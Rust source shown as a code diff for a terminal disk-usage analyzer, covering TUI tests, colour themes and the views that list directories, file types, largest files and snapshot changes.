// A single-child chain (mnt → raid → media) must not use up the nesting
// budget: the map at / should reach the seasons and their episodes.
#[test]
fn nesting_reaches_deep_media() {
let mut m = model_for(root_tree());
send(&mut m, vec![size(160, 45)]);
let out = strip(m.view());
assert!(out.contains("mnt/raid/media/") && out.contains("S01/"), "chain or seasons missing:\n{out}");
let t = m.tree.read().unwrap();
let files = m.tm.as_ref().unwrap().nested.iter().filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()).count();
assert!(files >= 50, "only {files} episode blocks drawn");
}
// Headless, o shows the selected folder in the map instead of launching a
// file manager.
#[test]
fn reveal_headless_zooms_map() {
std::env::set_var("DISPLAY", "");
std::env::set_var("WAYLAND_DISPLAY", "");
let mut m = model_for(root_tree());
send(&mut m, vec![size(160, 45)]);
let mnt = {
let t = m.tree.clone();
let g = t.read().unwrap();
m.kids_of(&g, m.zoom).ids[0]
};
m.snapshot = false; // reveal is refused for snapshots
(m.sel, m.user_sel) = (mnt as i64, true);
send(&mut m, vec![key("o")]);
assert_eq!(m.zoom, mnt, "zoom = {}, want mnt", m.tree.read().unwrap().path_string(m.zoom));
}
// ---- live_test.go -----------------------------------------------------------
/// Renders, navigates, filters and resizes while the scanner mutates the
/// inventory, verifying the locking discipline.
#[test]
fn live_scan_rendering() {
let root = scan::tests::TempDir::new("tui-live");
for i in 0..30 {
let d = root.0.join(format!("d{i:02}")).join("sub");
std::fs::create_dir_all(&d).unwrap();
for j in 0..40 {
std::fs::write(d.join(format!("f{j}.log")), vec![0u8; (i + 1) * (j + 1) * 100]).unwrap();
}
}
let path = root.0.as_os_str().as_bytes().to_vec();
let start: StartFn = Arc::new(move |c: Cancel| {
let s = scan::start(&path, scan::Options { workers: 4, chunk_size: 3, ..Default::default() }, c)?;
let t = s.tree.clone();
Ok((Some(s), t))
});
let cancel = Cancel::new();
let (s, tr) = start(cancel.clone()).unwrap();
let mut opts = opts_for(tr.clone());
opts.start = start;
let mut m = Model::new(opts, s, tr, cancel.clone());
let sizes = [(120, 40), (80, 24), (200, 60), (45, 12)];
let deadline = Instant::now() + Duration::from_secs(20);
let mut i = 0;
loop {
let (w, h) = sizes[i % sizes.len()];
send(&mut m, vec![size(w, h), Msg::Tick]);
send(&mut m, vec![key(["right", "down", "left", "up"][i % 4])]);
if i % 5 == 0 {
send(&mut m, vec![key("tab")]);
}
if i == 3 {
m.search.ed.set("ext = log");
let _ = m.query_changed();
let msgs = m.apply_filter().run_sync();
send(&mut m, msgs);
}
m.dirty = true;
m.view();
if m.scanner.as_ref().unwrap().is_done() {
let t = m.tree.clone();
send(&mut m, vec![Msg::ScanDone(t)]);
m.view();
assert!(!m.scanning, "scan should be finished");
break;
}
assert!(Instant::now() < deadline, "scan did not finish");
i += 1;
}
cancel.cancel();
}
+193
View File
@@ -0,0 +1,193 @@
//! Colour themes. Nothing else in the TUI hard-codes colours.
use super::canvas::{rgb, BoxChars, Color, Style, BOX_ASCII, BOX_ASCII_SEL, BOX_DOUBLE, BOX_LIGHT};
use crate::config::Settings;
use crate::inventory::{parse_category, NUM_CATEGORIES};
use std::collections::HashMap;
/// Every colour the UI uses.
#[derive(Clone, Default)]
pub(crate) struct Theme {
pub name: &'static str,
pub mono: bool, // no colour: rely on attributes and glyphs
pub ascii: bool, // no box-drawing glyphs
pub bg: Color,
pub fg: Color,
pub muted: Color,
pub faint: Color,
pub accent: Color,
pub sel: Color,
pub header_bg: Color,
pub header_fg: Color,
pub status_bg: Color,
pub status_fg: Color,
pub panel_bg: Color,
pub warn: Color,
pub err: Color,
pub ok: Color,
pub group: Color,
pub empty_dir: Color,
pub cat: [Color; NUM_CATEGORIES],
pub diff_grow: Color,
pub diff_shrink: Color,
pub diff_new: Color,
pub diff_same: Color,
pub ext: Option<HashMap<String, Color>>,
}
/// Lists built-in themes (sorted).
pub(crate) fn theme_names() -> Vec<&'static str> {
vec!["dark", "default", "high-contrast", "mono"]
}
fn default_theme() -> Theme {
Theme {
name: "default",
bg: rgb(0x16, 0x18, 0x1d),
fg: rgb(0xdc, 0xdf, 0xe4),
muted: rgb(0x8a, 0x91, 0x9c),
faint: rgb(0x4a, 0x50, 0x5a),
accent: rgb(0x61, 0xaf, 0xef),
sel: rgb(0xff, 0xd8, 0x66),
header_bg: rgb(0x21, 0x25, 0x2b),
header_fg: rgb(0xdc, 0xdf, 0xe4),
status_bg: rgb(0x2c, 0x31, 0x3a),
status_fg: rgb(0xc8, 0xcc, 0xd4),
panel_bg: rgb(0x1c, 0x1f, 0x25),
warn: rgb(0xe5, 0xc0, 0x7b),
err: rgb(0xe0, 0x6c, 0x75),
ok: rgb(0x98, 0xc3, 0x79),
group: rgb(0x5c, 0x63, 0x70),
empty_dir: rgb(0x4b, 0x52, 0x63),
// Other, Image, Video, Audio, Archive, DiskImage, Database, Code,
// Document, Executable, Log, Cache
cat: [
rgb(0x7f, 0x8c, 0x9d),
rgb(0xe5, 0xc0, 0x7b),
rgb(0xe0, 0x6c, 0x75),
rgb(0xd1, 0x9a, 0x66),
rgb(0xc6, 0x78, 0xdd),
rgb(0x8e, 0x7c, 0xf0),
rgb(0x56, 0xb6, 0xc2),
rgb(0x98, 0xc3, 0x79),
rgb(0x61, 0xaf, 0xef),
rgb(0xbe, 0x50, 0x46),
rgb(0xa3, 0xa8, 0x6a),
rgb(0x6b, 0x77, 0x88),
],
diff_grow: rgb(0xf0, 0x5a, 0x5a),
diff_shrink: rgb(0x5a, 0xd0, 0x7a),
diff_new: rgb(0x4f, 0xa8, 0xff),
diff_same: rgb(0x50, 0x56, 0x60),
..Theme::default()
}
}
fn dark_theme() -> Theme {
let mut t = default_theme();
t.name = "dark";
(t.bg, t.panel_bg) = (rgb(0, 0, 0), rgb(0x0c, 0x0c, 0x0e));
(t.header_bg, t.status_bg) = (rgb(0x12, 0x12, 0x16), rgb(0x1a, 0x1a, 0x20));
for c in t.cat.iter_mut() {
*c = c.mix(rgb(0, 0, 0), 0.2);
}
t
}
fn high_contrast_theme() -> Theme {
let mut t = default_theme();
t.name = "high-contrast";
(t.bg, t.fg, t.muted) = (rgb(0, 0, 0), rgb(0xff, 0xff, 0xff), rgb(0xd0, 0xd0, 0xd0));
(t.header_bg, t.status_bg, t.panel_bg) = (rgb(0, 0, 0), rgb(0x20, 0x20, 0x20), rgb(0, 0, 0));
(t.sel, t.accent) = (rgb(0xff, 0xff, 0x00), rgb(0x00, 0xff, 0xff));
t.cat = [
rgb(0xb0, 0xb0, 0xb0),
rgb(0xff, 0xd7, 0x00),
rgb(0xff, 0x30, 0x30),
rgb(0xff, 0x8c, 0x00),
rgb(0xff, 0x00, 0xff),
rgb(0x9b, 0x7b, 0xff),
rgb(0x00, 0xe5, 0xff),
rgb(0x00, 0xff, 0x00),
rgb(0x40, 0x9c, 0xff),
rgb(0xff, 0x55, 0x55),
rgb(0xc8, 0xff, 0x00),
rgb(0x90, 0x90, 0xa0),
];
t
}
fn mono_theme() -> Theme {
Theme { name: "mono", mono: true, ..Theme::default() }
}
/// Returns a built-in theme with user overrides applied.
pub(crate) fn load_theme(name: &str, s: &Settings) -> Theme {
let mut t = match name.to_lowercase().as_str() {
"dark" => dark_theme(),
"high-contrast" => high_contrast_theme(),
"mono" => mono_theme(),
_ => default_theme(),
};
if t.mono {
return t;
}
for (k, v) in &s.category_colors {
if let (Some(c), Some(col)) = (parse_category(k), Color::hex(v)) {
t.cat[c as usize] = col;
}
}
for (k, v) in &s.extension_colors {
if let Some(col) = Color::hex(v) {
let key = k.strip_prefix('.').unwrap_or(k).to_lowercase();
t.ext.get_or_insert_with(HashMap::new).insert(key, col);
}
}
t
}
impl Theme {
pub fn base(&self) -> Style {
Style::new(self.fg, self.bg)
}
pub fn muted(&self) -> Style {
Style::new(self.muted, self.bg)
}
pub fn header(&self) -> Style {
Style::new(self.header_fg, self.header_bg)
}
pub fn status(&self) -> Style {
Style::new(self.status_fg, self.status_bg)
}
pub fn panel(&self) -> Style {
Style::new(self.fg, self.panel_bg)
}
pub fn box_chars(&self) -> BoxChars {
if self.ascii {
BOX_ASCII
} else {
BOX_LIGHT
}
}
pub fn sel_box(&self) -> BoxChars {
if self.ascii {
BOX_ASCII_SEL
} else {
BOX_DOUBLE
}
}
/// Picks a readable text colour for a background.
pub fn text_on(&self, bg: Color) -> Color {
if bg.is_default() {
return self.fg;
}
if bg.luma() > 0.55 {
return rgb(0x10, 0x12, 0x16);
}
rgb(0xf2, 0xf4, 0xf7)
}
}
+535
View File
@@ -0,0 +1,535 @@
//! The Tab-cycled main views and their dispatch.
use super::actions::DupView;
use super::canvas::{Canvas, Color, Style, BOLD};
use super::infoview::InfoView;
use super::mapview::{map_key, map_paint, map_wheel};
use super::model::{Cmd, Model};
use super::modals::new_info_modal;
use super::table::{col, Table, TableRow};
use super::{fmt_date, san};
use crate::inventory::{ExtStat, Kind, NodeId, SizeMode, TopK, Tree, FLAG_DELETED, FLAG_HARDLINKED, FLAG_HARDLINK_DUP, FLAG_SPARSE, NO_NODE};
use crate::snapshot::{Change, Status};
use crate::textutil;
use crate::treemap::Rect;
use std::collections::HashMap;
use std::rc::Rc;
/// One of the Tab-cycled main views. Taken is a placeholder while a view
/// is borrowed out of the model to run one of its methods.
pub(crate) enum View {
Map,
List(ListView),
Ext(ExtView),
Top(TopView),
Info(InfoView),
Changes(ChangesView),
Dups(DupView),
Taken,
}
impl View {
pub fn name(&self) -> &'static str {
match self {
View::Map => "Map",
View::List(_) => "List",
View::Ext(_) => "Types",
View::Top(_) => "Top",
View::Info(_) => "Scan",
View::Changes(_) => "Changes",
View::Dups(_) => "Dups",
View::Taken => "",
}
}
pub fn table_mut(&mut self) -> Option<&mut Table> {
match self {
View::List(v) => Some(&mut v.tb),
View::Ext(v) => Some(&mut v.tb),
View::Top(v) => Some(&mut v.tb),
View::Info(v) => Some(&mut v.tb),
View::Changes(v) => Some(&mut v.tb),
View::Dups(v) => Some(&mut v.tb),
View::Map | View::Taken => None,
}
}
}
impl Model {
/// Runs f on the current view, temporarily moved out of the model.
fn with_view<R>(&mut self, f: impl FnOnce(&mut View, &mut Model) -> R) -> R {
let i = self.view;
let mut v = std::mem::replace(&mut self.views[i], View::Taken);
let r = f(&mut v, self);
self.views[i] = v;
r
}
pub fn paint_view(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
self.with_view(|v, m| match v {
View::Map => map_paint(m, tr, cv, r),
View::List(v) => v.paint(m, tr, cv, r),
View::Ext(v) => v.paint(m, tr, cv, r),
View::Top(v) => v.paint(m, tr, cv, r),
View::Info(v) => v.paint(m, tr, cv, r),
View::Changes(v) => v.paint(m, tr, cv, r),
View::Dups(v) => v.paint(m, tr, cv, r),
View::Taken => {}
})
}
pub fn view_key(&mut self, tr: &Tree, k: &str) -> (bool, Cmd) {
self.with_view(|v, m| match v {
View::Map => map_key(m, k),
View::List(v) => v.key(m, tr, k),
View::Ext(v) => v.key(m, tr, k),
View::Top(v) => v.key(m, tr, k),
View::Info(v) => v.key(m, tr, k),
View::Changes(v) => v.key(m, tr, k),
View::Dups(v) => v.key(m, tr, k),
View::Taken => (false, Cmd::None),
})
}
pub fn view_wheel(&mut self, tr: &Tree, up: bool) -> Cmd {
self.with_view(|v, m| {
match v {
View::Map => return map_wheel(m, tr, up),
View::List(v) => v.wheel(m, tr, up),
View::Ext(v) => {
let n = v.stats(m, tr).len();
v.tb.scroll(up, n)
}
View::Top(v) => v.tb.scroll(up, v.ids.len()),
View::Info(v) => v.tb.scroll(up, tr.stats.errors.len()),
View::Changes(v) => v.tb.scroll(up, v.rows.as_ref().map_or(0, |r| r.len())),
View::Dups(v) => v.tb.scroll(up, v.rows.len()),
View::Taken => {}
}
Cmd::None
})
}
pub fn set_view_by_name(&mut self, n: &str) {
for i in 0..self.views.len() {
if self.views[i].name() == n {
self.set_view(i);
}
}
}
}
// ---- Directory list -------------------------------------------------------
#[derive(Default)]
pub(crate) struct ListView {
tb: Table,
last_sel: i64,
}
impl ListView {
/// Reconciles the table cursor with the shared selection: if the
/// selection changed elsewhere (treemap, jump) the cursor follows it;
/// otherwise the cursor (moved by keys or clicks) drives the selection.
fn sync(&mut self, m: &mut Model, tr: &Tree) {
let k = m.kids_of(tr, m.zoom);
if m.sel != self.last_sel {
for (i, &id) in k.ids.iter().enumerate() {
if id as i64 == m.sel {
self.tb.cursor = i as i32;
}
}
} else if self.tb.at() < k.ids.len() {
m.sel = k.ids[self.tb.at()] as i64;
}
self.last_sel = m.sel;
}
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
let k = m.kids_of(tr, m.zoom);
self.sync(m, tr);
let total = m.size_of(tr, m.zoom);
let mut rows: Vec<TableRow> = Vec::with_capacity(k.ids.len());
for (i, &id) in k.ids.iter().enumerate() {
let n = tr.node(id);
let mut name = san(&n.name);
let mut files = String::new();
if n.is_dir() {
name.push('/');
files = textutil::count(n.files as i64);
}
let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() };
let c = m.color_of(tr, id as i64);
let mut name_st = Style::new(c.mix(t.fg, 0.45), t.bg);
if n.is_dir() {
name_st.attr = BOLD;
}
let frac = if k.sizes[0] > 0 { k.sizes[i] as f64 / k.sizes[0] as f64 } else { 0.0 };
let muted = Some(Style::new(t.muted, t.bg));
let mut row = TableRow {
cells: vec![textutil::size(k.sizes[i]), textutil::percent(k.sizes[i], total), String::new(), files, modified, name],
styles: vec![None, muted, None, muted, muted, Some(name_st)],
bar: frac,
bar_col: c,
};
if let Some(d) = &m.opts.diff {
row.cells[4] = textutil::signed_size(d.delta(tr, id, m.size_mode));
}
rows.push(row);
}
let mut cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("", 12, false, false),
col("FILES", 10, true, false), col("MODIFIED", 10, false, false), col("NAME", 0, false, false)];
if m.opts.diff.is_some() {
cols[4] = col("CHANGE", 12, true, false);
}
if r.w < 70 {
cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("NAME", 0, false, false)];
for row in rows.iter_mut() {
row.cells = vec![std::mem::take(&mut row.cells[0]), std::mem::take(&mut row.cells[1]), std::mem::take(&mut row.cells[5])];
row.styles = vec![None, row.styles[1], row.styles[5]];
}
}
self.tb.paint(m, cv, r, &cols, &rows, "");
self.sync(m, tr);
}
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
self.sync(m, tr);
let n = m.kids_of(tr, m.zoom).ids.len();
let handled = self.tb.key(k, n);
self.sync(m, tr);
(handled, Cmd::None)
}
fn wheel(&mut self, m: &mut Model, tr: &Tree, up: bool) {
self.sync(m, tr);
let n = m.kids_of(tr, m.zoom).ids.len();
self.tb.scroll(up, n);
self.sync(m, tr);
}
}
// ---- Extension statistics ------------------------------------------------
#[derive(Default)]
pub(crate) struct ExtView {
tb: Table,
cache: Option<Rc<Vec<ExtStat>>>,
cache_key: (NodeId, u64),
}
fn pick(m: &Model, s: &ExtStat) -> i64 {
if m.size_mode == SizeMode::Logical {
s.size
} else {
s.alloc
}
}
impl ExtView {
fn stats(&mut self, m: &Model, tr: &Tree) -> Rc<Vec<ExtStat>> {
let k = (m.zoom, m.data_ver * 2 + m.size_mode as u64);
if self.cache.is_none() || self.cache_key != k {
let mut v = tr.ext_stats(m.zoom);
v.sort_by(|a, b| pick(m, b).cmp(&pick(m, a)).then_with(|| a.ext.cmp(&b.ext)));
self.cache = Some(Rc::new(v));
self.cache_key = k;
}
self.cache.clone().unwrap()
}
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
let st = self.stats(m, tr);
let total: i64 = st.iter().map(|s| pick(m, s)).sum();
let v0 = st.first().map_or(0, |s| pick(m, s));
let rows: Vec<TableRow> = st
.iter()
.map(|s| {
let ext = if s.ext.is_empty() { "(none)".to_string() } else { format!(".{}", s.ext) };
let c = t.ext.as_ref().and_then(|e| e.get(&s.ext)).copied().unwrap_or(t.cat[s.cat as usize]);
let frac = if v0 > 0 { pick(m, s) as f64 / v0 as f64 } else { 0.0 };
TableRow {
cells: vec![textutil::sanitize(&ext), s.cat.name().into(), textutil::count(s.count), textutil::size(pick(m, s)),
textutil::percent(pick(m, s), total), String::new()],
styles: vec![Some(Style::new(c, t.bg).with(BOLD)), Some(Style::new(t.muted, t.bg)), None, None,
Some(Style::new(t.muted, t.bg)), None],
bar: frac,
bar_col: c,
}
})
.collect();
let cols = [col("EXTENSION", 14, false, false), col("CATEGORY", 12, false, false), col("FILES", 11, true, false),
col("SIZE", 10, true, false), col("%", 5, true, false), col("", 0, false, false)];
let title = format!("File types under {} — Enter filters the map by extension", san(&tr.node(m.zoom).name));
self.tb.paint(m, cv, r, &cols, &rows, &title);
}
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
let st = self.stats(m, tr);
if self.tb.key(k, st.len()) {
return (true, Cmd::None);
}
if (k == "enter" || k == "space") && self.tb.at() < st.len() {
let e = &st[self.tb.at()].ext;
let q = if e.is_empty() { "type = file AND ext = \"\"".to_string() } else { format!("ext = \"{e}\"") };
m.set_view_by_name("Map");
return (true, m.set_filter(&q));
}
(false, Cmd::None)
}
}
// ---- Top-N investigation views --------------------------------------------
#[derive(Clone, Copy, PartialEq, Eq, Default)]
enum TopMode {
#[default]
Files,
Dirs,
Old,
New,
Count,
Sparse,
Hardlinks,
}
const TOP_MODES: [TopMode; 7] = [TopMode::Files, TopMode::Dirs, TopMode::Old, TopMode::New, TopMode::Count, TopMode::Sparse, TopMode::Hardlinks];
const TOP_NAMES: [&str; 7] = ["Largest files", "Largest directories (own files)", "Oldest large files", "Newest large files",
"Most files", "Sparse files", "Hard-linked files"];
const TOP_LIMIT: usize = 500;
#[derive(Default)]
pub(crate) struct TopView {
tb: Table,
mode: TopMode,
ids: Vec<NodeId>,
vals: Vec<i64>,
computed: bool,
cache_key: (NodeId, u64, u8),
}
impl TopView {
fn compute(&mut self, m: &Model, tr: &Tree) {
let k = (m.zoom, m.data_ver * 2 + m.size_mode as u64, self.mode as u8);
if self.computed && self.cache_key == k {
return;
}
(self.cache_key, self.computed) = (k, true);
let is_file = |n: &crate::inventory::Node| n.kind == Kind::File && n.flags & (FLAG_HARDLINK_DUP | FLAG_DELETED) == 0;
let matches = |id: NodeId| m.search.result.as_ref().is_none_or(|r| r.size(id) > 0);
let mut tk = TopK::new(TOP_LIMIT);
let mut val: HashMap<NodeId, i64> = HashMap::new();
const LARGE_FILE: i64 = 1 << 20;
match self.mode {
TopMode::Dirs => {
let mut own: HashMap<NodeId, i64> = HashMap::new();
tr.walk(m.zoom, |id, n| {
if is_file(n) && matches(id) {
*own.entry(n.parent).or_default() += n.own(m.size_mode);
}
true
});
for (id, s) in own {
tk.offer(id, s);
val.insert(id, s);
}
}
TopMode::Count => tr.walk(m.zoom, |id, n| {
if n.is_dir() && matches(id) {
let c = tr.child_count(id) as i64;
tk.offer(id, c);
val.insert(id, c);
}
true
}),
mode => tr.walk(m.zoom, |id, n| {
if !is_file(n) || !matches(id) {
return true;
}
let sz = n.own(m.size_mode);
match mode {
TopMode::Files => {
tk.offer(id, sz);
val.insert(id, sz);
}
TopMode::Old | TopMode::New => {
if sz >= LARGE_FILE && n.mtime > 0 {
tk.offer(id, if mode == TopMode::Old { -n.mtime } else { n.mtime });
val.insert(id, sz);
}
}
TopMode::Sparse => {
if n.has(FLAG_SPARSE) {
tk.offer(id, n.size - n.alloc);
val.insert(id, n.size - n.alloc);
}
}
TopMode::Hardlinks => {
if n.has(FLAG_HARDLINKED) {
tk.offer(id, n.size);
val.insert(id, n.size);
}
}
_ => {}
}
true
}),
}
self.ids = tk.sorted();
self.vals = self.ids.iter().map(|id| val[id]).collect();
}
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
self.compute(m, tr);
let first = self.vals.first().copied().unwrap_or(0);
let mut rows = Vec::with_capacity(self.ids.len());
for (i, &id) in self.ids.iter().enumerate() {
let n = tr.node(id);
let val = if self.mode == TopMode::Count { textutil::count(self.vals[i]) } else { textutil::size(self.vals[i]) };
let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() };
let frac = if first > 0 && self.mode != TopMode::Old && self.mode != TopMode::New {
self.vals[i] as f64 / first as f64
} else {
0.0
};
let c = m.color_of(tr, id as i64);
rows.push(TableRow {
cells: vec![val, modified, String::new(), san(&tr.path_bytes(id))],
styles: vec![None, Some(Style::new(t.muted, t.bg)), None, Some(Style::new(c.mix(t.fg, 0.45), t.bg))],
bar: frac,
bar_col: c,
});
}
let mut title = format!("◂ {} ▸ (←/→ change list · Enter details · Space jump to it)", TOP_NAMES[self.mode as usize]);
if m.search.result.is_some() {
title += " · filtered";
}
let val_title = match self.mode {
TopMode::Count => "ENTRIES",
TopMode::Sparse => "SAVED",
_ => "SIZE",
};
let cols = [col(val_title, 10, true, false), col("MODIFIED", 10, false, false), col("", 10, false, false), col("PATH", 0, false, true)];
self.tb.paint(m, cv, r, &cols, &rows, &title);
}
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
self.compute(m, tr);
let n = TOP_MODES.len();
match k {
"left" | "h" => {
self.mode = TOP_MODES[(self.mode as usize + n - 1) % n];
self.tb.cursor = 0;
return (true, Cmd::None);
}
"right" | "l" => {
self.mode = TOP_MODES[(self.mode as usize + 1) % n];
self.tb.cursor = 0;
return (true, Cmd::None);
}
_ => {}
}
if self.tb.key(k, self.ids.len()) {
return (true, Cmd::None);
}
if self.tb.at() < self.ids.len() {
let id = self.ids[self.tb.at()];
match k {
"enter" => {
let md = new_info_modal(m, tr, id);
m.open_modal(md);
return (true, Cmd::None);
}
"space" => {
m.jump_to(tr, id);
return (true, Cmd::None);
}
"c" | "o" | "d" => m.sel = id as i64,
_ => {}
}
}
(false, Cmd::None)
}
}
// ---- Snapshot comparison -----------------------------------------------------
#[derive(Default)]
pub(crate) struct ChangesView {
tb: Table,
rows: Option<Vec<Change>>,
cache_key: Option<SizeMode>,
}
impl ChangesView {
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = m.theme.clone();
let Some(d) = &m.opts.diff else { return };
if self.rows.is_none() || self.cache_key != Some(m.size_mode) {
self.rows = Some(d.changes(tr, 1000, m.size_mode));
self.cache_key = Some(m.size_mode);
}
let changes = self.rows.as_ref().unwrap();
let max_abs = changes.iter().map(|c| c.delta.abs()).fold(1, i64::max);
let rows: Vec<TableRow> = changes
.iter()
.map(|c| {
let col = match c.status {
Status::Added => t.diff_new,
Status::Removed => t.muted,
Status::Grew => t.diff_grow,
Status::Shrank => t.diff_shrink,
Status::Unchanged => Color::default(),
};
TableRow {
cells: vec![textutil::signed_size(c.delta), c.status.name().into(), textutil::size(c.old), textutil::size(c.new),
String::new(), textutil::sanitize(&c.path)],
styles: vec![Some(Style::new(col, t.bg).with(BOLD)), Some(Style::new(col, t.bg)), Some(Style::new(t.muted, t.bg)), None, None, None],
bar: c.delta.abs() as f64 / max_abs as f64,
bar_col: col,
}
})
.collect();
let cols = [col("CHANGE", 13, true, false), col("STATUS", 9, false, false), col("OLD", 10, true, false),
col("NEW", 10, true, false), col("", 10, false, false), col("PATH", 0, false, true)];
let (ro, rn) = (d.old.node(0).total(m.size_mode), tr.node(0).total(m.size_mode));
let title = format!("Changes {} → {} ({})", textutil::size(ro), textutil::size(rn), textutil::signed_size(rn - ro));
self.tb.paint(m, cv, r, &cols, &rows, &title);
}
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
let n = self.rows.as_ref().map_or(0, |r| r.len());
if self.tb.key(k, n) {
return (true, Cmd::None);
}
if self.tb.at() < n {
let c = &self.rows.as_ref().unwrap()[self.tb.at()];
if c.node == NO_NODE {
if k == "enter" || k == "space" {
let msg = format!("Removed since the old snapshot: {}", textutil::sanitize(&c.path));
return (true, m.info(msg));
}
return (false, Cmd::None);
}
let id = c.node;
match k {
"enter" => {
let md = new_info_modal(m, tr, id);
m.open_modal(md);
return (true, Cmd::None);
}
"space" => {
m.jump_to(tr, id);
return (true, Cmd::None);
}
_ => {}
}
}
(false, Cmd::None)
}
}